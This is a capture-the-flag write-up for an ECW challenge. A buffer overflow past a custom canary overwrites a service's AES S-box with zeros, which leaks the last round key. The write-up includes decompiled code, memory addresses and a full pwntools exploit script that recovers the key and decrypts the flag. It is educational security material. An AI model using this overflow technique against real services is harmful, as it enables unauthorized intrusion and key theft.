In this challenge we need to decypher a text encrypted with AES using a buffer overflow.

The challenge

They only give use the compiled file and we can connect in tcp to an instance to run the code.

First we connect to the remote instance and we get :

The key has been successfully loaded.
Here is an encrypted secret, I swear you can't decrypt it, Rijndael told me.
5ace67b21aea0aa955ca5a19cad275eee748a3226e54c19665fdc8a2500cea3f

Enter the cleartext (at most 224 character), I will give you the ciphertext back.

few things about it :

  • Rijndael so they use AES.
  • We can send a message and we get back the ciphertext, their is no limite of ciphertext
  • “at most 224 character” of course I will not respect this!

Second we try localy and we get this :

Couldn't open the key file ... Please contact an admin.

Nothing to add for now

First Try

As I say I will not respect the only 224 char so let’s try to send more. Here is the out I get :

Have u seen my canary ?! His name is 'Don't overwrite me or, at least, do it well...'

There is a “canary” protection but I’m on the good way.

Reverse

Let’s launch Gihdra on the compiled file and watch the main() function :

  • We first see a function LoadKey() which open the file aes_ecb_key.txt and take the first 16 bytes (I can add this file locally to test). And we learn it is well AES using ECB.
  • We then see the function SendEncryptedFlag() which open the file flag and take 32 bytes then he do the KeyExpansion, cypher the flag and print it. I quickly checked the KeyExpansion() and Cypher() functions but it seems well an AES.
  • Then we arrive in the main loop which first remake the KeyExpansion(), clean a variable last_message, and call GetMessage(). The message is then cypher and print to us.

Let’s see inside GetMessage(): here is the code Gihdra give us :

int GetMessage(void)
{
  long j;
  undefined8 *char_in;
  int i;
  byte zero;
  
  zero = 0;
  puts("Enter the cleartext (at most 224 character), I will give you the ciphertext back.");
  i = 0;
  char_in = &last_message;
  while( true ) {
    fread(char_in,1,1,stdin);
    if (*(char *)char_in == '\n') break;
    i = i + 1;
    char_in = (undefined8 *)((long)char_in + 1);
  }
  i = i + 1;
  if (mycanary != mycanary_backup) {
    puts("Have u seen my canary ?! His name is \'Don\'t overwrite me or, at least, do it well...\'" )
    ;
    mycanary = mycanary_backup;
    i = 0;
    char_in = &last_message;
    for (j = 28; j != 0; j = j + -1) {
      *char_in = 0;
      char_in = char_in + (ulong)zero * -2 + 1;
    }
  }
  return i;
}

We now see mycanary and mycanary_backup.

Let’s look at the different values and adress:

  • last_message is at 0x00104020
  • mycanary is at 0x00104100 (224 after last_message)
  • mycanary_backup is at 0x00104230

So if I try a message of size 543 (=0x21f, eg the difference between adress of mycanary_backup and last_message) I will overwrite mycanary and mycanary_backup. And indeed if I try I no more have the message saying I overwrite something.

But the best in this story is that sbox is beetween mycanary and mycanary_backup (at adress 0x00104120) so I can overwrite it.

Exploitation

Now we know how to overwrite sbox let’s find how is it usefull.

If you remember well how AES work, you know sbox is use during the key expension and during SubBytes. You also know that last turn of AES is only : SubBytes, MixRows and AddRoundKey. So if sbox is fill only with 0, after SubBytes the state would be only 0. The state will not change after MixRows. And then after AddRoundKey I will get an xor of 0 and round key 10 which mean I will get round key 10. And luckily if I know round key 10 I can get back to my key!

Here is my code to get the final flag, I recode the reverse of the key but I’m sure tools already exist.

from pwn import *
from Crypto.Cipher import AES

SERVER = "instances.challenge-ecw.fr"
PORT = 41780

sbox = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
]

rcon = [
    0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
    0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
    0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
    0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
    0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
    0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
    0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
    0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
    0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
    0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
    0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
    0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
    0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
    0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
    0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
    0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d
]

def get_encrypted_flag_and_round_10_key():
    con = remote(SERVER, PORT)
    d = con.recvuntil(b'back.')
    encrypted_flag = d.decode().split('\n')[2]
    con.sendline(bytearray([0] * 543))
    d = con.recvuntil(b'back.')
    round_10_key = d.decode().split('\n')[2][:32]
    return (encrypted_flag, round_10_key)

def my_xor(a,b):
    r = []
    for i in range(4):
        r.append(a[i] ^ b[i])
    return r

def Rcon(i):
    return [rcon[i%256]] + [0,0,0]

def RotWord(l):
    return l[1:] + l[:1]

def SubWordList(l):
    r = []
    for i in l:
        r.append(sbox[i])
    return r

def inverse_key_expansion(key, n):
    b = bytes.fromhex(key)
    k = [b[4*i:4*i+4] for i in range(4)]
    k.reverse()
    for i in range(n):
        for _ in range(3):
            k.append(my_xor(k[-4], k[-3]))
        z = my_xor(k[-4], Rcon(n-i))
        a = RotWord(k[-3])
        a = SubWordList(a)
        k.append(my_xor(a, z))
    k.reverse()
    return k[0] + k[1] + k[2] + k[3]

def decrypt_aes(cypher, key):
    a = AES.new(bytearray(key), AES.MODE_ECB)
    return a.decrypt(bytes.fromhex(cypher)).decode()

def main():
    (encrypted_flag, round_10_key) = get_encrypted_flag_and_round_10_key()
    key = inverse_key_expansion(round_10_key, 10)
    print(decrypt_aes(encrypted_flag, key))
   
if __name__ == "__main__":
    main()

Flag

And finaly you get the flag : ECW{Whyd0yOuMod1fyMySb0xDude??!}